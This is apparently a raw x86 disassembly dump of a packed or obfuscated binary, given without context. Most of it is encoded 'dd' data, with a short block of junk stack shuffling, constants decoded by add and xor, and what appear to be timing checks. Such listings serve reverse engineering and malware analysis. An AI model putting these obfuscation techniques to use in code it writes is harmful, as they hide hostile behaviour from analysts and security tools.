		dd 0FF701C03h, 0ACADF2B5h, 0FE806h, 0BD140000h,	1B5F73B7h
		dd 0A7FA7FB1h, 0A0FCEDCh, 5BD98BF3h, 178595FFh,	6A06A9h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FF16F6C3h, 0ACADF2B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 6648D281h
		dd 0BBFD59BFh, 58B46CC8h, 2A6195FFh, 6A06A9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 493A07C3h
		dd 0DFEEDBE0h, 0CB802FBAh, 31BD8343h, 206A91Eh,	57840Fh
		dd 85890000h, 6A91CC1h,	1111858Bh, 6A06A9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 624516C3h
		dd 0A4892F8Fh, 0E96F99B2h, 12h,	0FAC19E3h, 0DD4CD498h
		dd 49DB912Bh, 60734AE7h, 8589CA92h, 6A922F9h, 890000C6h
		dd 0A924D595h, 0F185C706h, 6A902h, 66000000h, 0E96B25BFh
		dd 0FFFFF30Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	29C35747h, 48AEF3A2h, 0DA354CACh, 15D9D8Bh, 8B6606A9h
		dd 6AC18BDFh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 730EC355h, 2BCB7564h, 5D9D8BB7h
		dd 2906A928h, 0A9100585h, 28E906h, 14910000h, 6D6Ah, 8 dup(0)
		dd 0FBE90000h, 0C5000004h, 54FAF72Dh, 0E28885B7h, 680E0B49h
		dd 0F39996CAh, 0EF2A2759h, 79AB4535h, 23AD67Ch,	8AC45F05h
		dd 1648E78Dh, 0A12FC319h, 0F5F6CD55h, 33B2D043h, 49CF6294h
		dd 0D27875AFh, 0DC6E0133h, 0F689BB54h, 1620D664h, 0CF80FCA4h
		dd 0C9FB9A20h, 1720BF67h, 93427Ch, 37D0DD7Ah, 35BB4EFDh
		dd 0BDF7919Ah, 56F57B0Eh, 0B9FC9124h, 84720073h, 14FCA415h
		dd 2265B463h, 0A4D675DAh, 556601A7h, 660086BCh,	0D87E7B2Ah
		dd 5B8D2C3Dh, 0F79319ACh, 331E062Bh, 0E1903459h, 9933BB4Fh
		dd 791BDB67h, 0BE57FCA3h, 197B2C84h, 23AB5D64h,	91F6588Ah
		dd 1749E42Bh, 0A3D5741Ah, 7EF7D11h, 91FCA379h, 3DC97EE0h
		dd 0FCA37884h, 490973D8h, 0A6B862A9h, 4DECh, 9433AC00h
		dd 0B143CF62h, 0DFFCA415h, 39C1327Ah, 0DE03659Fh, 0A6B90014h
		dd 0D80AA52Dh, 0D4349645h, 0Bh,	0F8FE8C20h, 0A8FCA409h
		dd 335595F7h, 4BD16496h, 62EA7CAEh, 49F88BC9h, 0EAC32E7h
		dd 0B5F847DAh, 396B084Fh, 0C5F7963Ch, 99338AC8h, 0B14ED467h
		dd 0C362E87Bh, 8B1D46F7h, 2BDAA837h, 3B791298h,	53E61CB5h
		dd 1383E94Ch, 8EF13B7Eh, 1DC3C0F4h, 47D5697Eh, 0FCA414AFh
		dd 4AAC38E9h, 56FCA414h, 0DD63F6A5h, 55A97444h,	0D907F2E0h
		dd 0A03DB947h, 0AA5BFCA3h, 44E169FBh, 0D8F7AC0Eh, 0B74B0F75h
		dd 0FEA6B890h, 7Eh, 679933BEh, 0A8B54ED4h, 972AD90Bh, 0A93C7611h
		dd 50ABC60h, 4AD09339h,	96E578ACh, 2E7DE953h, 0A43E81EBh
		dd 39C17370h, 8DD6699Bh, 80504D2Bh, 8AEC9B86h, 8C7248E2h
		dd 41BB97Ch, 0E3F4B902h, 15896E81h, 0AF4DD366h,	68CBEA7Dh
		dd 1FC43E1Ch, 529DA6B8h, 0F579B50Ch, 0DA3A9C55h, 6Dh, 9099339Ah
		dd 780BBAF6h, 8A1D57F2h, 51B6FE61h, 0FC09A6B7h,	0EB9A2D5Fh
		dd 4BFAA93Ch, 9633104Eh, 0F43FD164h, 0D6728462h, 135C0B9Eh
		dd 0CB2DC776h, 0A364A41Dh, 0F0FD96FCh, 0DD701F51h, 6539BD4Bh
		dd 0B667FCA3h, 0CB5E9230h, 63F3397Ch, 29B74BFFh, 0FCA364CDh
		dd 53B81ACBh, 144F9AE9h, 0E3027DEDh, 0D02247A9h, 0C5A6B8DFh
		dd 1, 689A3385h, 7EB04FD5h, 2EE0A1ECh, 0DB1AFCADh, 0A03EC479h
		dd 0B953D96Ch, 1C5FF487h, 0DC3F46D0h, 0C2962F90h, 580ECE83h
		dd 96CA6895h, 223A9EE7h, 9891F107h, 5C66ECE9h, 41F022BDh
		dd 18E021AFh, 5708F27Eh, 6D9F3EC4h, 0F92BCA70h,	241ADA66h
		dd 0FBADF5FAh, 13A6D873h, 579D0264h, 221F51F0h,	18ABDD7Ch
		dd 2EC1F392h, 9DEE5699h, 237B7B09h, 7425F5FAh, 99CB6A12h
		dd 0C562EA9Ch, 0EA082D8Fh, 0ABA00F0Dh, 10Eh, 816F536Bh
		dd 35B061EFh, 0C778F27Fh, 0E113AD35h, 0F62AC84Eh, 9E30E547h
		dd 61AF2853h, 0DB3D5C66h, 65629433h, 5BEE20BFh,	932D36D5h
		dd 8D1FCE61h, 0FB10F7FFh, 41F0A1F5h, 6ED619AEh,	0C2F8951Dh
		dd 761E802Fh, 7F13A5D7h, 0FB1105F1h, 8EB8A2F5h,	21C54A75h
		dd 97B618C9h, 0F337E74h, 3317A0h, 53D70000h, 62F08280h
		dd 7CA41574h, 0D460F3A4h, 7CA41722h, 0E77AB650h, 0F78AC861h
		dd 49D51F62h, 92E96DBh,	18A638CAh, 0FCA416BEh, 2B6C691Ah
		dd 7Ah,	816F53EDh, 2FE461EFh, 8334F27Fh, 99CB6AF0h, 2557F69Ch
		dd 344C4893h, 8F9A7845h, 0D3EC782Dh, 5EF5FA1Fh,	0AF4EB1FBh
		dd 61FB0AA6h, 3FD1802Fh, 51E41EB7h, 1EC531BFh, 22D3F5FAh
		dd 6CF21173h, 74089A56h, 881B4DECh, 8CC977D9h, 0CCEBC968h
		dd 6302881Bh, 34979E31h, 0D51BA7C8h, 8D1BAF43h,	0FC9F5669h
		dd 76248637h, 0F26E9FDFh, 0DF918E3Fh, 1F39BD4Bh, 0B667F5FAh
		dd 6F531454h, 0F461EF81h, 24F2735Eh, 0BB5AE073h, 848F80EFh
		dd 7423B6EAh, 0D900122Bh, 0F37B2D2Ah, 0E695285Ah, 0B3DDC84h
		dd 0DF8FEC78h, 0E27462AFh, 989B7797h, 0B0425769h, 3A11D422h
		dd 0B113C48Fh, 9FE04Ch,	8B1FD1CEh, 3A11F9FDh, 94F6A78Fh
		dd 881B4DECh, 9D306402h, 86C93396h, 0C40DEE7h, 1BBA605Dh
		dd 3CC456E9h, 2AD96CA0h, 885C8h, 4D470000h, 5A9831B9h
		dd 9B33B8F8h, 0B150D669h, 0CB66EC7Fh, 0E4800699h, 0FD971DB0h
		dd 10AA30C3h, 1DBB41D4h, 39D258EBh, 45E268FBh, 682A7C0Fh
		dd 76CAh
		db 89h,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	9F1h
		mov	[esp], esi
		push	edx
		push	2D457CEBh
		pop	edx
		add	edx, 6F950258h
		push	edi
		mov	edi, 29C912F8h
		add	edi, 70AE24D9h
		xor	edx, edi
		pop	edi
		mov	edi, edx
		pop	edx
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		pop	dword ptr [esi+8]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		db 2Fh,	56h, 6Eh
		dd 0EB8303Eh, 306AD4Dh,	0D5E0FFC5h, 66743AF2h, 0E4E86FEh
		dd 0EB289BA5h, 0E7574F48h, 8D7CA2FDh, 0A9053585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 895043FDh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0B70972C3h, 0D235D49Fh, 0D8B70F14h
		dd 8166006Ah, 6AB8D7C3h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C827DD30h, 8C0F57AEh
		dd 19h,	138F0Fh, 0EE90000h, 51000000h, 0D6B31920h, 0F0B6ECD9h
		dd 32005007h, 0F4858D4Fh, 8006AD4Fh, 0C08367D3h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 8B6656FBh, 0BD8B5FF9h, 6A91765h, 50BFB790h, 90FB8B66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 56C35545h
		dd 7F286C5Dh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0B89965C3h, 94684AFAh, 890F006Ah
		dd 0Eh,	0F99D8960h, 8B06A934h, 0A919E5B5h, 95FF6106h, 6A92EA9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E4C35141h
		dd 8D40D9B2h, 0ABFE9F8h, 81095216h, 55EABCBh, 0DE8D8D40h
		dd 6A06AC98h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 2D15C356h, 9EB33B96h, 1958957h
		dd 5B06A933h, 0BD8BD1FFh, 6A933E5h, 12ADBD83h, 0F0106A9h
		dd 0A885h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1704h, 0C3514100h, 8290E14h,	97D9D89h, 26A06A9h, 14E8h
		dd 0AF5C0800h, 4D15E54Dh, 0E3CA79E3h, 0BEB6024Ch, 0F7A041Fh
		dd 0F29CBF06h, 905F63EBh, 7EECAABFh, 8E8503Dh, 0B6000000h
		dd 17783EDh, 8B353047h,	6A905FF8h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 9310C352h
		dd 4074A9F3h, 0DE8h, 9215E800h,	0B6B9CFADh, 0A11D8C9Bh
		dd 0BD89A833h, 6A90675h, 6995FF5Fh, 0E906A906h,	5, 285F4A2Bh
		dd 0E0EE9F8h, 0E80000h,	5D000000h, 4FFEED81h, 6A06ADh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7A9069C3h, 78A3A503h, 85292CFDh, 6A925D5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0D1C35242h, 49CECE0Dh
		dd 8E99D0Bh, 858D06A9h,	6AC8A5Bh, 24048950h, 0FA1BD2Bh
		dd 0FF6406A9h, 35h, 118D0100h, 6406A91Ah, 2589h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0A9E549C3h, 60F598E6h, 0B58B28B5h, 6A9230Dh,	8D895061h
		dd 6A92201h, 0D85FF5Fh,	6606A917h, 0F4C62BFh, 684h, 0A19D2900h
		dd 6A06A92Eh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 86C5B89Ah, 0B70F6449h, 0AE9FFh, 15A60000h
		dd 0F1BA0100h, 8B3D4AD1h, 12C9B5FFh, 6A06A9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0E95078C3h
		dd 6, 0BE0997Dh, 0E95B9ABEh, 10h, 419464A4h, 0CB95C06Fh
		dd 0ECF67B0Bh, 38971045h, 34DD95FFh, 2E906A9h, 81000001h
		dd 8D68B1C7h, 0DFB70F28h, 9D8B00B0h, 6A90EC1h, 0FB8B70E6h
		dd 952971E4h, 6A934D1h,	830F613Ch, 0DDh, 0FD6EB80h, 6BAC8B6h
		dd 29000000h, 0A92155B5h, 3820F06h, 66000000h, 0C18BDA8Bh
		dd 0E0DF8166h, 4E8C1ACh, 4A58D09h, 0F76606A9h, 0C82BFCE2h
		dd 0CE9h, 0E8D1FF00h, 0E836E594h, 18BE99C3h, 0FD18B2Bh
		dd 685h, 75B53100h, 8006A934h, 6E970CFh, 31000000h, 0A91EA185h
		dd 79858B06h, 8B06A912h, 0A905F1BDh, 7C08306h, 158D8952h
		dd 5B06A906h, 8900C083h, 0A907B59Dh, 0FD03B06h,	1383h
		dd 183BF00h, 4EE95B94h,	80000000h, 0BD89E7C3h, 6A9107Dh
		dd 297D8D8Bh, 0BD0906A9h, 6A91E75h, 0F01E183h, 3084h, 0A583FC00h
		dd 6A9297Dh, 82BF66FEh,	799589EEh, 0F06A912h, 1381h, 0EE900h
		dd 44850000h, 0BEA455C3h, 693DB07Dh, 9617D535h,	0E9h, 65B58D00h
		dd 906ACCCh, 0A911398Dh, 6A006A06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 897FC353h
		dd 0A9036595h, 9595FF06h, 6A06A92Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 730EC353h
		dd 0AE964h, 20310000h, 337FC039h, 969A592Eh, 0C9BB9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0D1B7B2F7h, 6AFCE183h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 1161C355h, 0CB816687h
		dd 880F29A8h, 0Ch, 68F0Fh, 0BD8B0000h, 6A91305h, 27EBBBFCh
		dd 0C02B2333h, 4B07BB66h, 9E9h,	5CCB0800h, 70429180h, 0BA8A01h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0CC66C356h, 39826B61h,	34F5BD89h
		dd 33AD06A9h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E8AAF7C3h
		dd 0Ch,	34F1A7E5h, 0FFCB5971h, 9573F525h, 10E9h, 4BED4E00h
		dd 0AE6ABF72h, 0A1710C21h, 0E885F53Fh, 860F5B08h, 5, 0EEF78166h
		dd 880DBDh, 13E90000h, 0F2000000h, 11C5D593h, 0D8A8DDE3h
		dd 0DCE8A9AFh, 0FBDFF5B9h, 958B08D8h, 6A916CDh,	13E9h
		dd 2C5AB700h, 0AD130077h, 9F81BDA6h, 5C23F73Eh,	4F2AA7B8h
		dd 8890Fh, 3530000h, 0A932D5BDh, 8D8B5B06h, 6A90CE5h, 6BDCB81h
		dd 8B500EB7h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 31C35747h
		dd 2F1A9188h, 0B682D6AAh, 14E93Eh, 0B28F0000h, 0EAD3E1C2h
		dd 37F381C9h, 540D2788h, 0D63E1C11h, 0AE9BFBEh,	0AE000000h
		dd 0AA4D12CAh, 3A40300Ch, 0C9BD83FCh, 6A933h, 5D840Fh
		dd 9D8B0000h, 6A921EDh,	0B8h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0B29F6536h
		dd 0B9EF9932h, 0E9D98B16h, 13h,	0BC5402CAh, 0FB707CD6h
		dd 0E1362C6Bh, 970A7BFFh, 8D071372h, 0A94DC08Dh, 0BCC38106h
		dd 0FF129DBCh, 0A9B589E1h, 8306A928h, 0A911CDBDh, 840F0006h
		dd 45Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 14h,	5CC35343h, 998D8960h, 0FC06A933h, 0CDBD8361h, 106A911h
		dd 447840Fh, 8B660000h,	9D2360FEh, 6A90165h, 61F08B66h
		dd 11CDBD83h, 0F0306A9h, 3F686h, 0D98B6600h, 9D315760h
		dd 6A92235h, 0D98C665Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 0CFC35242h, 0DAB70FBFh, 142D9D33h, 0E18006A9h
		dd 8D895104h, 6A92A0Dh,	0FC90A5Fh, 17484h, 77BF6600h, 19858B37h
		dd 6A06A906h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h
		dd 0AAC7C355h, 67F82BBEh, 7E1644C2h, 10E9h, 389DA200h
		dd 7D00C14Ch, 4903BE52h, 0F675115Fh, 25BD8B36h,	0B306A91Ah
		dd 0F9853355h, 906A931h, 0A919E995h, 75B52906h,	9006A91Fh
		dd 0CE860h, 691B0000h, 19F4A6Bh, 0B1A017DFh, 0CA8B0AF6h
		dd 56506158h, 0D3F1BB66h, 8D01905Fh, 6A92A39h, 0E8F9006Ah
		dd 4, 1F03FFh, 53505EB3h, 2820Fh, 0D88B0000h, 24448B5Fh
		dd 6E904h, 95C60000h, 0E6C1BAF1h, 6660008Bh, 5250D78Bh
		dd 310F5E56h, 310F5250h, 585A585Ah, 24448961h, 0D6BF6604h
		dd 6A5870h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 94E502C3h, 0E9BD0360h, 0FF06A914h, 0A9357995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 298D31F9h, 0F06A92Dh, 8589DABFh,	6ACADF2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0D5C35040h
		dd 0C3406FC1h, 31FB8BF1h, 0A90D21B5h, 1C9E906h,	6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 9D937AC3h, 89DEB70Fh, 0A904EDBDh, 0EA858B06h, 6A06ACADh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0D3D2C351h, 0C7D666ADh, 1800h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0DCE0F448h, 1DB52931h, 0BB06A906h, 167A8B27h, 0ADEEB58Bh
		dd 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 9DF7E8C3h, 43E2C83Bh, 0BF0F99EAh,	0BD858BDAh
		dd 6606A932h, 892FD5BFh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0E7872F2Dh, 65BD2368h
		dd 8B06A908h, 0A9061985h, 0B19D8906h, 8906A90Dh, 95290446h
		dd 6A91005h, 24348950h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 31C35545h, 18663711h,	0B5FF9843h, 6ACADEAh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 2CC35747h
		dd 0E753CBDDh, 16C7A964h, 4E8h,	1F03FF00h, 50616000h, 424448Bh
		dd 9ABB008Bh, 896B7F00h, 58042444h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 14C35242h, 0BD8BAEA5h, 6A92385h
		dd 3F1BD89h, 858D06A9h,	6ACADF2h, 8E8h,	76969E00h, 96E68FC3h
		dd 0E585290Eh, 5B06A911h, 24048950h, 357995FFh,	6A06A9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 61FC70C3h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	17C35747h, 0C758B79Ch, 0A911CD85h, 306h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 99358500h, 0DE69B4A8h, 0BD83261Bh, 6ACADF2h,	3C840F00h
		dd 0BB000000h, 646F38D2h, 4DE9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 85F0A417h
		dd 0EE9h, 16DC8F00h, 0FBA950A6h, 1C7296B2h, 508F4FD1h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 555124C3h, 53006A3Ah, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 11B5895Dh, 8B06A91Fh
		dd 0A90FED9Dh, 0CDBD8306h, 306A911h, 3F9850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 2904E4C3h, 0F98B0916h, 28B0Fh, 2EB30000h, 0ADF2BD83h
		dd 0F0006ACh, 3C284h, 9E900h, 0B6150000h, 0F926AF6Fh, 0FFF8ABE0h
		dd 0ACADF2B5h, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0C0C0D46Ch, 0CC3D65FCh
		dd 95895766h, 6A91F61h,	0B5195FFh, 6A06A9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0EB1968C3h
		dd 0E6B58BE8h, 0C706ACADh, 1000106h, 0A3DB8100h, 963DFAA4h
		dd 10E8h, 2B961D00h, 0A1182450h, 0C3F95BA0h, 0C3DACFF8h
		dd 96505B93h, 0ADF2B5FFh, 6A06ACh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 33C872C3h, 3899D8Bh
		dd 95FF06A9h, 6A90EC5h,	79958B60h, 6606A92Ah, 8B61F28Bh
		dd 0ACADE6B5h, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 89FEFB75h, 0A91D1585h
		dd 0BD858B06h, 6A06A913h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5956C356h, 0EFF0E32h
		dd 0F7FF2A2h, 383h, 0F8B70F00h,	89FEB70Fh, 0C486h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 7F057DC5h, 304B7BEEh, 958B8509h, 6A916CDh, 32A5BD8Bh
		dd 0C28306A9h, 11E904h,	0CD6A0000h, 0FEC03223h,	0DF188258h
		dd 85ED38A4h, 8971BE50h, 6A2050h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 864532C3h, 9BB535C9h
		dd 95893E85h, 6A910D5h,	0C1C3858Dh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F4F4DC3h
		dd 8689F9BFh, 0B8h, 6AFA8B66h, 0A19D8900h, 0FF06A91Dh
		dd 0ACADF2B5h, 0FEB70F06h, 66995FFh, 6A06A9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0F3DE51C3h
		dd 0F72AFF0Ah, 525050EFh, 310FDA8Bh, 68B0Fh, 8C0F0000h
		dd 0
		dd 3489585Ah, 14E824h, 6CEC0000h, 87E6AE29h, 927A4964h
		dd 0CC05380Ch, 0F2183FCEh, 810F710Dh, 6, 34459D31h, 0FF5F06A9h
		dd 0ACADF2B5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 1A3D5389h, 8995FF03h
		dd 2906A90Ch, 0A90F69B5h, 19BD8306h, 6A933h, 65840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0BBA725C3h, 203CFD5Dh, 0D340D381h, 0E8961622h, 12h
		dd 26D8F9EEh, 984CA1CCh, 0C7DD10ABh, 0C94F3B0Ah, 5250ED7Ch
		dd 7E8310Fh, 0F2000000h, 336B005Fh, 5A5BEFDAh, 66505B58h
		dd 963B55BFh, 53DF8B66h, 2A9BD89h, 0FF5F06A9h, 0ACADF2B5h
		dd 8595FF06h, 6A06A917h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 56B8C352h, 8D295B57h
		dd 6A91A75h, 0ADF2B5FFh, 0BF6606ACh, 95FF4A74h,	6A92A61h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 44C35242h
		dd 0FB7FAEFh, 381h, 35CF8000h, 1E31BD83h, 0F0206A9h, 3184h
		dd 5B52F500h, 1111858Bh, 6A06A9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 756B42C3h, 47BBA208h
		dd 0C65B26E5h, 85C70000h, 6A902F1h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F5C35646h
		dd 0E98866E7h, 0FFFFF307h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0EDC35747h, 0D25209A7h, 2135F7Bh, 6AC18BFCh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 66FEC356h, 8D89FE8Bh, 6A9142Dh, 535858Dh
		dd 6A06A9h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 457ABC3h,	82F49272h, 29BD319Ch, 5006A915h
		dd 350773BBh, 24048931h, 83D9D09h, 6A06A9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CDC35141h, 0AF92EF8Ch
		dd 10800F23h, 0E9000000h, 0Bh, 90D9E24Eh, 8B091E0Ah, 0BF755AE6h
		dd 209B5C2Ah, 5E9h, 61DAE500h, 6A6169h,	3B43BB66h, 5FFD858Dh
		dd 9D8B06ADh, 6A93289h,	6A05C083h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 6D75C357h
		dd 4C9E79CFh, 68B0FEFh,	81000000h, 0E5DFAEE3h, 5250901Bh
		dd 0BF53B260h, 2D002DDBh, 5A310F61h, 850F5058h,	3, 90F88B66h
		dd 1CA59589h, 9D3306A9h, 6A90D29h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0A9379AC3h
		dd 513BA480h, 2079BD8Bh, 9D8B06A9h, 6A9041Dh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0BF28C3h, 0DEA6F8Bh,	2EA995FFh, 6A06A9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0CB6A0AC3h
		dd 98DE8D8Dh, 7E806ACh,	62000000h, 0D6206886h, 0FF5F11B8h
		dd 6860FD1h, 57000000h,	0A39FBB66h, 0F781665Fh,	0BD832FD3h
		dd 6A912ADh, 5B850F01h,	8B000000h, 0A912F19Dh, 29026A06h
		dd 0A91DEDB5h, 0FC8A9006h, 6A9050h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 95FFDCC3h
		dd 6A90669h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0F5C35545h, 0E9548529h,	0CF8BBB48h, 1EE959FBh
		dd 0E800000Fh, 0
		dd 7ED815Dh, 6A06AD60h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0D97EC352h,	8C27D1C4h
		dd 0A11E3249h, 9D8BD88Bh, 6A9038Dh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 82C35141h, 0C87C8EF3h, 6CBF646Dh
		dd 0D1E38192h, 8D5D169Dh, 0AC8A5B85h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 42EBEB12h, 50F88AD2h, 11E9h,	0F4BDEB00h, 6320FBC7h
		dd 0F5A719ACh, 628587FDh, 489964Fh, 50006A24h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0C12A1939h
		dd 0BDD2D476h, 98CF8166h, 35FF64ACh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0B6C35040h
		dd 17098D29h, 896406A9h, 25h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 32CC29EAh
		dd 21C4A923h, 8D29BBCAh, 6A90FBDh, 6E850h, 0DAF60000h
		dd 2DAA3454h, 0AE8h, 0DCC7BF00h, 5999A46Eh, 5BE58CA3h
		dd 85FF5B5Fh, 6A9170Dh,	0DE8h, 5FF3A900h, 0FBBCE79Bh, 9D788C7h
		dd 0BD89C422h, 6A91CF5h, 6AFF6A5Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0D44DC357h
		dd 8ADB8123h, 0F5622A5Fh, 2825B5FFh, 6A06A9h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0D98B5FC3h
		dd 34DD95FFh, 0F6E906A9h, 8B000000h, 0A933599Dh, 0FC00B006h
		dd 71E470E6h, 830F613Ch, 0E1h, 0FDE8B66h, 7EBFC8B6h, 0BA50DB78h
